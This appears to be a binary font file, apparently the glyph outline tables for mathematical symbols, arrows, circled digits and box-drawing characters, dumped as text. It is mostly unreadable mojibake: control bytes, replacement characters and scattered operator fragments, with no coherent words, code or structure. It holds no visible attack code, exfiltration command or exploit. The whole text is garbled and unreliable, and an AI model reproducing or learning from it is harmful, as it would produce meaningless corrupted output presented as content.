=LT�PE:	>K���'�##"'&/&#"5>32326!!�j�`k��^X�bi�an��^V��e��#�PE:	=MS�NE;=K�F���%6767#"'!!'7!5!7&'&5>32-�]q{@i�aBLju��Ʃ����ZvQ]Sei�an�-����9@;�OE���i���0(#V�NE;g�K�##"'&/&#"5>32326!!!!�j�`k��^X�bi�an��^V��e�����PE:	=MS�NE;=K�F������/#"'&/&#"5>32326!5!7!5!7!!!!'�j�`k��^X�bi�an��^V��j�������`��U�>�a��PE:	=MS�NE;=K����튄��튄�P��3%#5!7!5!7/&#"5676326767!!!!'��Hr�F9e�dXVVbiZYan�)@�Ă$TgjYVeH��r��ʉ�K���		='&S�N#";Qk�&U�P#!����l���#;C@!.9*1oo"o9*o1<-<�<�21���������9999990#"'&'&'&#"5>32326#"'&'&'&#"5>32326�j�`k��^X�bi�an�
�^V�gj�`k�	�^X�bk�`k��^V�#�PE:=MS�NE;=K���PE:=LT�PE:>K���3&#"5>323267#"'3267#"''&#"5>32RX�bi�an�^�[,#V�gj�`;L3RV�gj�`m�^�^,$X�bk�`;L�.MS�NE;E��	KU�PE�/KU�PE=��E#	LT�PE�K�7;#"'&/&#"5>32326#"'&/&#"5>32326!!�j�`k��^X�bi�an��^V�gj�`k��^X�bi�an��^V��e��F�PE:	=MS�NE;=K�PE:	=MS�NE;=K������7S#"'&/&#"5>32326#"'&/&#"5>32326#"'&/&#"5>32326�j�`k��^X�bi�an��^V�gj�`k��^X�bi�an��^V�gj�`k��^X�bi�an��^V���PE:	=MS�NE;=K�PE:	=MS�NE;=K�PE:	=MS�NE;=K�K�#3276?632.#"#"&'!5!5�g�V^��na�ib�X^��k`�j����UK=;EN�SM=	:EP����@������	 %5 % $%5$[��g&Y����%Z�����h��������6�@976767!!"'&'&'!5!!5!676762!!&'&'&[6/0���7VY�YW6���0%AA%0�M
6WY�YV7
�N0/%'H:f�<0[2332[39�a?H'N'H?a�93[2332[0<�f:H'%�`�@ !5!676762!!&'&'&!![A%0�M
6WY�YV7
�N0/�H��d'H?a�93[2332[0<�f:H'%������'��& ��k�����'��& ��h���C��'�7& ����=���C��'��=& ���7�����('����' �����������(& �'��������'��	654'!#&547!5!!!!5�((��''�����F��2<:4.@>0773;��0>>0���'��#!!!!"32654&'2#"&6������HdcIHdeGBz0/11-0|D��������d�bcGHd�3/0xDCy-03���'��!!!! &!56���������������z�����'��!!!!	3#�����$�ׅ��������cK���'��!!!!33#�����$ށ�����������K�c�'��!!!!!!%������fpqe��q���p����2T������T�'��
!!!!!3!�������,րM������Y�z����'�!6=Q!!!!53#5#"&4632264&#"%!3267#"&546324&#"#"3###535463�����fuu9&CWWC%:4%''%%''���2.$M()R)cmk^Vgx&"*DAcct99BF����/�4 k�j��6h66h6k!))Yd[Yeg/!(&#LS��S;9�'�J-!!!!>32#4654&#"#4&#"#3>32������![6]b�"&16�(26�� S28V�����35uo��

:5SN��[5SM��%Q//7�'�:%)!!!!#546?>54&#"5>323#�������!5 0+)^2<d.z�&0 "�������*?1.#'!!�d_1N, %`����=@!

o}
o
	�<�291�<�2�<�2.�990!3!!!'7#5!7!�����^�P���������1}���������M��!!!!!!�����������n��s��!5!73!!!!!'7#5!7!5!��M.{�>��o���r���v�8�Or�?A���ft������gs����i��!!!!!!!!�������������������
'@	
o
��<�2291/��90%!5
5�������������P�N���
'@
	o�
�<<�291/��907!!55%��������������&��!!5!5
5����������6������P�N�&��3!!!!55%�������������������!!!!'7!5!7!5!7
5�"�3I�>~����H���~�����6�\ڠ��\ڟ�����P�N����!!!!'7!5!7!5!755%�"�3I�>~����H���~�����6�\ڠ��\ڟ����������H
	5	5��9��6����9��6N�3�3�Q�Q��3�3�Q�Q����H
5555�6��986��9N���������������P#+#&'#67&'&'&767&'36736'&��DD59gi;5FD��DD59gi;5F�GAG��W�e�����d�YV�e�����d��ۘ��ۘ�����&%5%67$%'5$7���d0��w����L,���Ʀ�v������S��)^�o'����oS*[�n&����%57%'\���Z�-��V���������pR̩�wS�X��������T�~�
%'7'75%%5XE�Z����V�w���o��pR̩��S�X��_���'T��(%%!!'7!5!7%5%<��lS�UC��Bu�;L�6���S��]�5-�X�d�s����E���E��(7'7!!'7#5!75%7%5�ֶD�XF��L�6�2.���B�	=^��2*ς����E��\�f�u�E�S��$%#"'&'&'&#"5>32326
5�j�`k��^X�bi�an�
�^V�f������PE:=MS�NE;=K���P�N�S��$%#"'&'&'&#"5>3232655%�j�`k��^X�bi�an�
�^V��d�����PE:=MS�NE;=K������(14%3267#"'&'&'&''75>32%5%%%P
�^V�gj�`s�;�3QOVbi�a
Z��^�0Q�[F��l�¢=KU�PE:
	�E�$&S�NE��E�X�b�r�f5-��(143267#"'&'&'&''75676?5%7%57'��WR9?
�^V�gj�`s�\GE�)VbiY13:���D�	?\ָ̼܂�=KU�PE:$�Ex&S�N#	�]�e�u�E��2,�
�l
55%
5����w�������������P�N�
�l

5	55%������������P�N������<�<!%7'%%'75%7%57%5%e��\�i4�"*�PW�<���2�."���W����94
Z�_�k󆑐��3�^�a�m􇑓�g3��;5�<�<!%7/%5%%'%5%75%�F?�?8���]�]��	'�� o�_\�\�q'��V��
1���3�{f네�􊇑�3�i놣�����s
%5$���d��o��s�=��==����|�|���s
%$��s���o��d=6�|�|�6==���y%5%5$�>��V�����|���}�0������US����x��|����y%%$��V���>��}��|��0���B���|��SU���y(%#"'&'&'&#"5>32326%5$�j�`k��^X�bi�an�
�^V�g����|���}���PE:=MS�NE;=K �US����x��|����y(%#"'&'&'&#"5>32326%$�j�`k��^X�bi�an�
�^V��e��}��|����PE:=MS�NE;=K ��|��SU�J�?67%'&%5$%ސm��U�����Π����<��STIGyn��ʳl��q����B�[,�=�qB���J�?67&''67&'֐m��U���B�Π�4�P�����STIGn�6�mr�6���B�	\,�<���BU���x!!"3!!"'&5476�6��n�LNl6��׃���x�|~KM᎚�ِ����x2#!5!27654&#!5̌�����6fTL�n��x���ސ��ME�|���;��%&'&763!3!!!!##"3��|����p�pR�h�>�|mݴ��n�LNl�
����e�����>�moKM�3��#!#!5!!5!332654'&#,�|�����p�p�������mݴ��n�LNlg
��l����e��]���moKM��%!!!!"3!!"'&76��6��n�LNl6��Ό������moKM᎐�����%!52#!5!27654&#!5��6̌�����6lNL�n�����C���l���MKom����&%!!'7!5!7&'&763!7!!!!#";>��Q�=��Z&�z����Q�<K�l�<�{�n�LNl��B��w|�����B�����moKM��	&327654'&/!5!7+!!'7!5!7!5!�XlNLL0<�[�R�CnV���Ν%v�FQ�<���&�L�&MKomM0�B�"W��l��s�B��s��9� %!!'7!5!7!"'&763!!"3!!P�����@�jPh��Ό����6��n�LNl6�v2���H�u������moKM�-�9�!!'7!5!7!5!27654&#!5!2)3@�����@�jPh�H6lNL�n��6̌��}G.H��H�t�MKom�᎐�l�5J�!32765!! '&57!!5/<��8.o����{o%�Hb"��bHw+���=OOC�+������8F�IcxcI��5J�'���5J�!!32765!! '&3##5#5355/<��8.o����{oM�����w+���=OOC�+������)���������!!!!�������*����!5!!5������T�����U!!!!5!�����U�*�l����U!5!!5!5!������U�T������#!#��*�������33!3������������$3?"2767>54&'&'$  &'&'&547676!!#!5!��TSEFDDFEST�TSEFDDFES���bc1111cb���bc1111cb�8����8\##EF�c`�FE####EF�`c�FE#�dbcwv��wvcbddbcvw��vwcb�����8�8����$37"2767>54&'&'$  &'&'&5476765!��TSEFDDFEST�TSEFDDFES���bc1111cb���bc1111cb$8\##EF�c`�FE####EF�`c�FE#�dbcwv��wvcbddbcvw��vwcb�^������$3?"2767>54&'&'$  &'&'&547676''7'77��TSEFDDFEST�TSEFDDFES���bc1111cb���bc1111cb��ݍ�ݍ�ݍ��\##EF�c`�FE####EF�`c�FE#�dbcwv��wvcbddbcvw��vwcb���ݍ�ݍ�ݍ������"=A32767>54'&'&'&#"'67632#"'&'&'&5476'ED"#FDSRcbSUDED"#DFSRcbSU�bxw��vwc`2111abxw��vw`c1211a�G��E�acSSFC##"#DE�acSSCF##"#Ib0111cawv��xwbb0111acvw��xw��F�����$7!!"2767>54&'&'$  &'&'&547676�h���TSEFDDFEST�TSEFDDFES���bc1111cb���bc1111cbE�}�##EF�c`�FE####EF�`c�FE#�dbcwv��wvcbddbcvw��vwcb����$
5O"32654&'2#"&>"2767>54&'&'$  &'&'&547676[HdcIHdeGBz0/11-0|D�����TSEFDDFEST�TSEFDDFES���bc1111cb���bc1111cb.d�bcGHd�3/0xDCy-03���##EF�c`�FE####EF�`c�FE#�dbcwv��wvcbddbcvw��vwcb����$+E
%#'-73%&"2767>54&'&'$  &'&'&547676�=�����=��=���TSEFDDFEST�TSEFDDFES���bc1111cb���bc1111cb��q����q��p����##EF�c`�FE####EF�`c�FE#�dbcwv��wvcbddbcvw��vwcb����$!;!!!!"2767>54&'&'$  &'&'&547676�����TSEFDDFEST�TSEFDDFES���bc1111cb���bc1111cbf�p��##EF�c`�FE####EF�`c�FE#�dbcwv��wvcbddbcvw��vwcb����$37"2767>54&'&'$  &'&'&5476765!��TSEFDDFEST�TSEFDDFES���bc1111cb���bc1111cbCj\##EF�c`�FE####EF�`c�FE#�dbcwv��wvcbddbcvw��vwcb�^�����B��/�3�
�����
ް2�2�2�����	��
���ް2������/�3���
���ް2�
2�2����������ް2�����01!!#!5!%!%!!�8����8�o�Nz������8�8W�������BS�
/�3������ް2������ް2���	���/�3������ް2�	��
��015!!%!!�8�o�Nz����W�������BB�/�3�
�����
ް2������/�3���
���ް2�����01			'	'!%!!NN���N������N���Nz��]��N������N���NN��������B!!!%!!�h�����Nz��E�}��������3!!#�������������3�?�3�/�3�$�$�/�/�/�3�3�3�$�$�01#!5!�����\f�f���!5!!#<�s�s����4���/�?�3�$�$�$�$�/�/�/�3�$�$�01%3!!5<�����4�����3!!#��!�����������N�?�3�/�3�$�$��ް2�
$�$�/�	/�/�3�$�$�$�$�	$�
$�01!!!#3!���!����!>��r��r���N�?�3�/�3�$�$��ް2�
$�$�/�	/�/�3�$�$�$�$�	$�
$�01!!!#3!�������>��r��r���#!3!!#����j�����\��������#!#!3!!#��������F���\��\��������#!!!#3!���j����j��\�����r��r��3�q!!'!#3!���R�N���E�����qY�&��Y�������3�q!!!!'!#3!7!����`���������:�`�&qY������Y�r��r�P����3�q
!!'7#3!##���g�9���4|��;����qY�&��Yt���f�\��+���3�q3!!!'7#3!##?!����`������4�������ww�`��qY������Yt��r��\���������r,#"'732654'&'$%5$%67654&#"'632���aV��n�,@1>1J����e�@�J1>1@,�n��Va���;lh��XNm�1.'0&:6Y(�(Y6:&0'.1�mNX��hl��r,$'&547632&#"327#"'&5476.����aV��n�,@1>1J�@��e���J1>1@,�n��Va���;lh��XNm�1.'0&:6Y(�(Y6:&0'.1�mNX��hl���	5�'����������	��<����{
����]��
7!!	5����'��G������]��
%!5	����<G������{
���z6��'22#"'&'!#"&632!676"32654&:Bz0.22,0|D�_4�.0|D��ŒBz00�5`�9PO::PQ�3/0xDCy-03`4B
<-03��3/0<B6`�PsOO9:Pz6��
2"32654&'2#"'&'!#"&632!676::PO;9PQ8Bz0.22,0|D�_4�.0|D��ŒBz00�5`PsOO9:P�3/0xDCy-03`4B
<-03��3/0<B6`z6:�5!6767>32#"&'&/"3264&z:/0zB����D|0/79QP::OP�<0/3���30/:
P:9OOsPY��[�3!5#%5!�������v
x������������!5!!#���W������4��
!!!!!5f��g���w�X�&���^����
!!!!!5E�G�����7�&��^�����
!!!!!5f��g���w�X�&����^���)3!!&'.'&���MI�P5��?֔$��O��JL��$#��?��	!53��"����������w��	!	!�����������!J�w��	!	!�8!>>!�7�wJ�!��c�w[�@
����1@	�<��0"!! !4$_�����lg�������i�HR�����P���c�w[�@
����1@	�<��02$5!! !_�4�p�����k/�����P����RH��i������7'	δ����������������9����Xd	!!%�fpqe��q���pT������T���v!!!!!5!7	!!	'�3��3�ͅ��b�Ũ�����b��<��N�N�v�����~�;��N�����Ũ��P���'e			����''������6�U����U�����'f				?��<'��f�������U��:�:��U�����'f			�{��'���f�����0�U�8U������'f		��f��N����V����'f		��N��f����:�:���'�#3276?632.#"#"&'!5�g�V^��na�ib�X^��k`�j��#UK=;EN�SM=	:EP����d�
!!!dx�|{�v�"d��c�����C
����#d�
3!!d�c2d���{|�#���
C��������2?"'.'&47>763!!"3!"'.'&7>763!!"3!nA;9XX9;Am��m����{�4664�{��m��_XS�#%%#�SX_mDX9;�;9X�(��64�{��{�46�%#�SX�XS�#%����2?!5!27>764'.'&#!5!2!5!27>764'.'&#!5!2F��m��mA;9XX9;A��m_XS�#%%#�SX_��m��{�4664�{�D�(�X9;�;9X���%#�SX�XS�#%�64�{���{�46�
<47>762#4'.'&"#47>76 #4'.'&"#X8<�tX0�(��64�z��|�46�$$�RX�XT�"&�lB::X0XtB��l$��l��|�4664�|����l`XR�$$$$�RX`�����
�<".5327>53 '.'&5327>7653�X8<�tX0�(�r64�z���|�46�$$�RX�XT�"&��B::X0XtBl��$l����|�4664�|��l��`XR�$$$$�RX`l|8�4'&'##47673#\K!(�(!K܋c�܀e���lK!�x�!Lk�c�njce��b��c�4��###!5!5!5!333!!!!'5#�����7��7���7��7������
���������������=��
	5	!!�<���� ����������U���=��
55%!!����f ����1�1�J������
�H
	5	5	5
��8��6���:��6����8��6N�3�3�Q�Q��3�3�Q�Q��3�3�Q�Q���
�H
555555�6��:86��886��:N�������������������P��
5!-5	
5�����������
��:����n���P�N�P��
!5!555%���������
�L�N�P����������
!5!5�������L�N�P�����
5!-5����������:�������y5$%5$�T��@���}�����|?�_����:���|�x��SU���y$%$��@���T|������}��?:�B���US����|���m�w!&67&%%'&'57&%5$%7�~E9����о��D\��e��ع��C����R�([\GwY��49��^G��Y���~����
��Y�>-�*H�M.�D���X����!6%'6%7$%7$%��ሗ��X�,�t���Lj�r�f���OM����
�Y��%7�R/�V���Y(`q:�}݂��\*[�����x��3!!!!!'#5!7!!!�������M�Ы��=M�v0���'�`���@��`���U��@�x��3!!!'#5!7!5!!5!!����M�Ы��=M�v��<0�� �`��j��`�����@����!!!!!!'7!5!7!�����)i���Իi�kG��9�@���莊����!!!'7!5!7!5!!5��)i���Իi�kG��9���j��莊��������"%3267#"''7&#"5>327
5�T;V�gj�`VnN�PU<X�bi�aWmO������kKU�PE&�E�MS�NE%�E[���P�N����"%3267#"''7&#"5>32755%�T;V�gj�`VnN�PU<X�bi�aWmO�����kKU�PE&�E�MS�NE%�E[�����F�y&%3267#"''7&#"5>327%5$�T;V�gj�`VnN�PU<X�bi�aWmO������|���}�	KU�PE&�E�MS�NE%�Ee�US����x��|��F�y&%3267#"''7&#"5>327%$�T;V�gj�`VnN�PU<X�bi�aWmO����}��|��	KU�PE&�E�MS�NE%�Ee��|��SU���w7%'%57
�ږ�����1�[���bwZ��S�����Z��=��܀�l<&���w''7-�����j�9[�61r��wZ�����(Z�A
��_��x�h�5�&7%!!'7#5!%57
�ږ��Ć��{�U�A��-�g���9&Z��B�����Z�����N����`<�6�&!!'7#53777w����E�B�]{�U_�R����]���G�&Z�s�����Z���q
��Z��CyW�c��L����'�{'�{X�{�����^�&��'�{�%�����^�'�{'�%X���������^�'�{'���X�%�������#%&'&'!5!676763!!"!!3!!"&�bC��#Ef�ſ��{wC"��"Bw}���_d�x���z�Zd�AAx>@�?=wBC������3#5!3!!"$$3!!"!����5�}������w���y�9�g���eC��c�l��Ab��v'�% $76)! !53#5!)P���ٛ]�)��7K���WK1&�v�5�o�%2l���c<'��������'�V�����Z"%&76763!!"!!3!!"!5��ef�ſ��{wC"��"Bw}����B_cd���Zd�AAx>@�?=wBC�^���v'�% '&76)! !!)!5P�����]�)��7Ky��K1&��vo{ �o�%2l�c<'�x����X��"%&76763!!"!!3!!"!5��ef�ſ��{wC"��"Bw}����B_cd���Zd�AAx>@�?=wBC���������!!!!3!!"'&'&76763!!"�����L@g}��ֲ�bcef�ſ��{i�z�b9C�cd�����Zd�A9�����#!!#!5!276767!5!&'&'&#!5!2�bC#��Dg�ſ���zxC"��"Bw}���ud�x���z�Zd�AAx>@�?=wBC������#3!&'&#!5!2#!5!2767!����5�}���f�������y�9�m���eC����x����Ab��v'� )5! 765!#3!4'&)5�P'����)� 7K�W���K1��)��ˇo�%2l���d<'�����Z"%#!5!276767!5!&'&'&#!5!2!5����}wB"��"Cw{���ŲfeƁ�B_c�CBw=?�@>xAA�dZ���x������v'� )5! 765!5!4'&)5!5�P������)� 7K��yK1��)N���o{���o�%2l�d<'�c���S�!!!!!!S��������z������@���&'27#"''7&5476&#"327654'h��wwwe��ݰ�wwwg���V[�lk7wUZ�lk5hwwx��ݞ�fwww��ߞ��7kk�kUw5kk�kTr8R�5����:z��J�B����6�	3	%!	�XZ�9�����(��d��T����*�'3'������������w���*37#7����w��w�"���w�������*b'r��&�����*k'A'{��&����j%64&4>4'&767�e�*C�1��%F�A1W�x	,SQdWXW��qZ�TC��1@�7YDzZ��hW>t��V�����!!!am+��������	!!7�����7��+��A������!!bT��+��"�������!7!!G��+7T���A�b�3#5!����W���l��d�b��!53#���l��������5!%#3�W��������Xd��!5%#3���D�����X���!#�����n�I,$%%$�nn����������!"�������nn������8����ʸ��'+6@KV#"&6 3546 +32 &=# &6;5#'54&#"3!3264&#"32654&#!#"3265�����˭��ʏ������ʭ���ʏ�����eHGeeG��HefGHefGHefG�M�GeeGHe`��ʏ������ʭ���ʏ�����˭��GffGHef�ffG�M�GeeHGeeHGeeG���!3!���n��g�!!!��xR�����U�g�!!2����R�S�~��:�!!!:2�v�S����UT��c�3!!!��S��v��S��h06732#"&54&#"���i�RA@Ae��e5�jT@OMJ&�e<�-���0
#"&5463232670���i�RA@Ae���e5���4jT@OMJ&�<����	'3%!5)!V�@�Q�Q��@�t�F����Dx�@�Q����2�����!!!!%!!��C�F����D��D��V�����O	3!	3	)	!	3	��
���	xX����L�&��&��X�X������b�PXX�&�*�����VZ��)!3	)	!	#	����xX����L�&��&My��X��PXX�&�*�&�����+x�#/;GS_kw�����������+7CO[gs����������!2#!"543!254#!"+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;22+"=4#"=43+"=4;2+"=4;2"=43!2#U���ݓJ�II�J%J%%J%�%K$$K%J%J%%J%�F%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%�%%�%�C%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%%�%%�%%%%�*$%%�%J%%J%�%K$$K%��%%%%��������JJJ�I%%I&%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�%��%%� %I%�HJ%%J%%J%%J%�%J%%J%
�	)	!#	3		#	3
��W��
��x��Xx����&�&����X�X

�������&�P�&�����X��Ff�			7'3#vv����r��&9�99�"9�"rr5��k�k����\��S���SAc��c�\c��c���������`����V^~��X���`��c��)y�.��!!!!!7!��T�.��S�NS�.����Q�����
!!5!!'7'5!y���FC�Ƒ��w�����V��Ƒ�w��o����#��!	!	!	!�l�l���(��[��R���vv��������m!5!��ݠ�������r�0����p�������!!�#����v����!&5����Ơ���T��_�C�������m5!]��������p� g�������]����!0�����v	�����!!]#�ƚ�ΐ���,������U����m!!!����#��	q�������!!�#����v����!!�������	r����m!!]�#��N#��]����!0�����v	�����!!!]#�����#s��Xm
!4763!!"���{z���f+!��u�����0%����y!4'&/32765!�9+e��n:�==�@ne(� =���F��|AEu���H���<s�Xy
3!!"'&5�!+f���}{y���%0��Ws���y!!�����	�����m
4'&#!!2s!+f���z{��}�%0�����s�Xy&'&!;!76<<(en@�==�:n��e+�!<���T�uE��A|��R��=���y
!#!!2765s{}��f+!y�����0%����!��	��z7^?�%	!!!%#!55[��$���X���^$$��T���:��_��_���!	!!��
���$�<���Ff�+			276764'&'&">  &vv����r���n66\]�]\6666\]�]\6������5��k�k����\��S���S��]\6666\]�]\6666\�������!�
������Z
$%6'&"3276%#"'&767632?3�.,(LK.,)wy��KM))wy��MM�5���ۤ��@@@@���AA��oppq��pqqp���4�1������7>32#"&'!'%7!%26&"7]�u��e���u�7����e&f
��\�>X�>�b]������]b��`�j�RP�[���@����,�.a�!3!3F�T�N�����d�x��N�
&ۺ+��#+�#�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�+��
+�
�$%+�$��01! 4$32"! 4$357!3!N�K���K�g��g��������������
���L�7�h����׬�����z��@���+�/� �x��N�
4��+��$+��+�A&6FVfv������
]A��]A��]A)9IYiy������
]�*9��1и1/�+��
+�
�+��.'+�.01! 4$32"! 4$!!5>54&#"5>32N�K���K�g��g�������������o.*OC6�uh�S��X���L�7�h����׬�����z��@�����'%D%7A,C� ��N�lx��N�
D��+��B5+�B�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A�5�5]A5)595I5Y5i5y5�5�5�5�5�5�5
]�5B9�,5B9�,/A�,�,]A,),9,I,Y,i,y,�,�,�,�,�,�,
]�ܺ&9�;9�+��
+�
�)"+�)�?8+�?�2/+�2�/2901! 4$32"! 4$#"&'532654&+532654&#"5>32N�K���K�g��g����������|r��N�^j�@][]d�XMKJ;x_^�I��e��L�7�h����׬�����z��@���_���0 6135�-.)/%�|}Upx��N�
)�+��!+�!�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�!�$и�&��+��
+�
�"#+�"�и#�'�01! 4$32"! 4$3!3#!5!5N�K���K�g��g������������� B����K��L�7�h����׬�����z��@��Y��5��У��x��N�
9I�+��&3+�&�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�-9A�3�3]A3)393I3Y3i3y3�3�3�3�3�3�3
]�99�+��
+�
�0)+�0�+��#6+�#01! 4$32"! 4$!!"632#"&'532654&#"N�K���K�g��g�������������S?!����W�cu�;S[[S3wi��L�7�h����׬�����z��@���\����$�=(F>?F(x��N�
'@��+��;+��5%+�5�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A&6FVfv������
]A��]A�%�%]A%)%9%I%Y%i%y%�%�%�%�%�%�%
]�)%59�+��
+�
�"8+�"�2+�201! 4$32"! 4$"32654&.#">32#"&5432N�K���K�g��g�����������6666677ai1gqn@��޹���G���L�7�h����׬�����z��@��u@II@@II@��*g; �������x��N�
"�#/�$/�ܸ#�и/��A&6FVfv������
]A��]���A��]A)9IYiy������
]� 9�!9�+��
+�
�!+�01! 4$32"! 4$!!!N�K���K�g��g�������������x��l�1��L�7�h����׬�����z��@����x��N�
'?K!�+��=+��1F+�1�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A&6FVfv������
]A��]A�F�F]AF)F9FIFYFiFyF�F�F�F�F�F�F
]�%F19�%/A�%�%]A%)%9%I%Y%i%y%�%�%�%�%�%�%
]�(=9�+=9�+/�4F19�%�7ܸ+�@��+��
+�
�":+�"�.I+�.�C+�C�(C9�4C901! 4$32"! 4$"32654&%.54632#"&546732654&#"N�K���K�g��g�����������<?>=;==��e˽��f$p����q�32033023��L�7�h����׬�����z��@��L:;;99;;:apS{��{Sp	|]����]|�-.-..--x��N�
4@��+��>)+�>�/8+�/�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A>&>6>F>V>f>v>�>�>�>�>�>�>
]A�>�>]�)>9A�8�8]A8)898I8Y8i8y8�8�8�8�8�8�8
]�+��
+�
�,;+�,�5&+�501! 4$32"! 4$53267#"&54632#"&2654&#"N�K���K�g��g�����������_i3frn?��ݸ���G�5885677��L�7�h����׬�����z��@����)f;!��������AHHBBHHAx��N�
&2>��+��#+�#�-9+�-�3'+�3�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�#�ܸ�и/A�9�9]A9)999I9Y9i9y9�9�9�9�9�9�9
]�9�$и$/A�'�']A')'9'I'Y'i'y'�'�'�'�'�'�'
]�+��
+�
�$%+�$��01! 4$32"! 4$35733!4&#"3267#"&54632N�K���K�g��g�����������|������'D')*''*)'Ï���������L�7�h����׬�����z��@����&�*�j���mm��nn����������j�5!�j�����l!�X�����3��	����!�@�	��<j�5!!5!!5!r#�B#�B#j������<�l!!!!!r#�B#�B#X��X��X���m�333������mj��j��j���m!!!�@��@��@�mj��j��j��<j�53353353353<�x�x�x�j��������<�l3333333<�x�x�x�X��X��X��X���n�3333�������p��^����^���^����^�n!!!!�@��@��@��@p��^����^���^����^��!!�������l!!��l������!!��#������l!!��#�l�������!5!���j������l!!���X����!5!�$�j�����l!!�$�X��j��3!�-j�����3!�-m���j��!!�@�j������!!�@�m����j��5!3,�j�k������!3,�X����j�5!!�@j�k�����!!�@X�����3!!�-��	���������3!!�-��	��������	#!!!P@��j��������	33!!�P�-�#�k��������!!!�@�#�	���������	#!!!P@��m�������	33!!�P�-�#�l�������!!!�@�#�	���������!5!3��,��j�k�����!!3��,��X����	!5!!#���@P�j�k�����	!5!33�$,�P�j�k�������!5!!�$�@�j�k����	!!!#���@P�X�������	!!33�$,�P�X�����!!!�$�@�X����!5!!�����j�������l	!!!!���-��XV������l	!5!5!!��,��j�V�������l!!!�����X�������!5!!�$��#�j�������l	!!!!�$�#�XV������l	!5!5!!�$��#�j�V�������l!!!�$��#�X������j��5!3!,�-j�k�������	!3!!,�-��X���V����	5!3!!5,�-�3j�k��V����!3!,�-X����j��5!!!�@�j�k�������	!!!!�@�#X���V����	5!!!!5�@��j�k��V����!!!�@�X������#!5!3!����,�-j��j�k�������!!3!!��,�-��X���������!5!3!!��,�-��j�k��������!!3!!��,�-��X��������!5!!!!���@��j�k���������!5!3!!�$,�-�#�j�k���������!5!!!!�$�@�#�j�k���������
!!!!!#���@�#P�X���V������
#5!5!!!!P�$�@��V�k��������
!!33!!�$,�P�#�X��V�������
!5!533!!�$�P�-�#�j�V��������!!!!!���@��X��������!!3!!�$,�-�#�X��������!!!!!�$�@�#�X���������!5!!!!�$�@�#�j�k��������!!!!!�$�@�#�X����<j�5!35!<�y�j����<�l!!!���X��X������33���lU���TT�����!!�@��@lU���TT�������5!5!���������x�X�333x����	��	�����	!!!!��-��¬���Bx��	!!##xm�s������j��x���!!3!!xm�3�-�s�¬��j��B����	!5!5!5!��,��������>��X	5!###l���j���j��j��X�!5!!!5!��4l� �t,���>�������	3!!!�-��-��A���xj��	333!x����j��k���x���3!3!�������k�A����������	5!5!5!3,��,�������=��jX�	5!333����j�k��k�����X�5!35!3����̠��������=���3!!!!�-��-��	��A����Bx���333!!x�����s�	��	������x���	3!33!!�������-�sk�A���	��j��B����!5!5!5!3��,��,����������X�!5!333x�t�����j�k�	����X�5!3!5!33����t,������������	������!5!!5!�����4������B�����5!!###��s���j����j��j����	5!!5!3!!����t,�-�s��������j��B�����5!5!3!��,�-���X���A���j��5!333!�����j�k��k��������	5!5!333!����������X����k�A�����!5!5!5!3!!!!��,��,�-��-��������A����B����5!333!!###������s���j�k��k�����j��j����!!!!5!5!333!�-�s� �t,��������j��B��������k�A���43!!"��y��Y[�p��~|�����4&#!5!2[Y��x���p~|�������j��5!2653#xY[���j�~|q����j��!"&533!����[Yyj��q��|~���*m3YѲ�/�	Y�����*m#3*��/��	Y���*m#	#	3	3*����i������������S��jh5!|j�����3����?hj�5!h}j�����3����@��hl|X�����!�@���?h�l!h}X����!�@���@���l5!5!!5�i��j�V��V��333�P�P����?�@���l!!!�i��XV�V��#!#P@P����?�@�����;�
d���;�?!O�?����;j!O�j����;�!O���k��;�!O���@��;�!O����;!O�����;B!O�B����;�!O�	����q�!��	������!��	������!�	�����!'�	����I�!]�	�����!��	������3�	�����:�
l'�bm#'+/37;?53!5353!5353!5353!5353!5353!5353!5353!53�(���'�O�'���(���'���(���'���(����������������6����7����5����7����6����(�'l#'+/37;?CGKOSW[_cgkosw{��������#5353353353!3#%3#%3#%3#3#5#53#53#1#53#1#53#75353535313#3#3#3#75353535313#3#3#3#75353535313#3#3#3#���������b�����������b����������������������������������������������������������������~�������������������!���������������������������������������������������������������������
�'m59=A35#%35#35#%35#%35#35#35#35#35#35!35!#5#!5#35735#35#�����������������w�������N�O�����������Ŷ�Z���X�Y���I6�����������������Z�������B;�
aB��q�:�
o����!(���@���;�
v'������
v���;�!!!;��('�	��@����;�'
v�
v'��;�!!;�����@�@	���;�!!!O����������;�
v'�����;�&
v
v'���;�!!'(��������%!�� �����%!!!,7��r�<�R �����%%3!254#!") ) ,�o���rVoV������Z��t��tV�����������%&
�
����%!%!5!5!5!5!5!5!5!5!5!��W7��7��7��7��7�� ��r�r�r�r�r����%!%3#3#3#3#3#��ᰰ�ܲ��ް��ܲ��ް�� ��t8��8��8��8��8���%#'+/37;?CGKOSW[_cg35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#!L��$��"�������������� ��������$��������"��������$�����������������ܮ�.��,��,��.�ܮ�.��,��,����.��,��,����.��,��,����.��,��,��.��� �����%
!33775353535��W������!����y�B��ߢ�|�� ��T���}���<�B��� ���������%
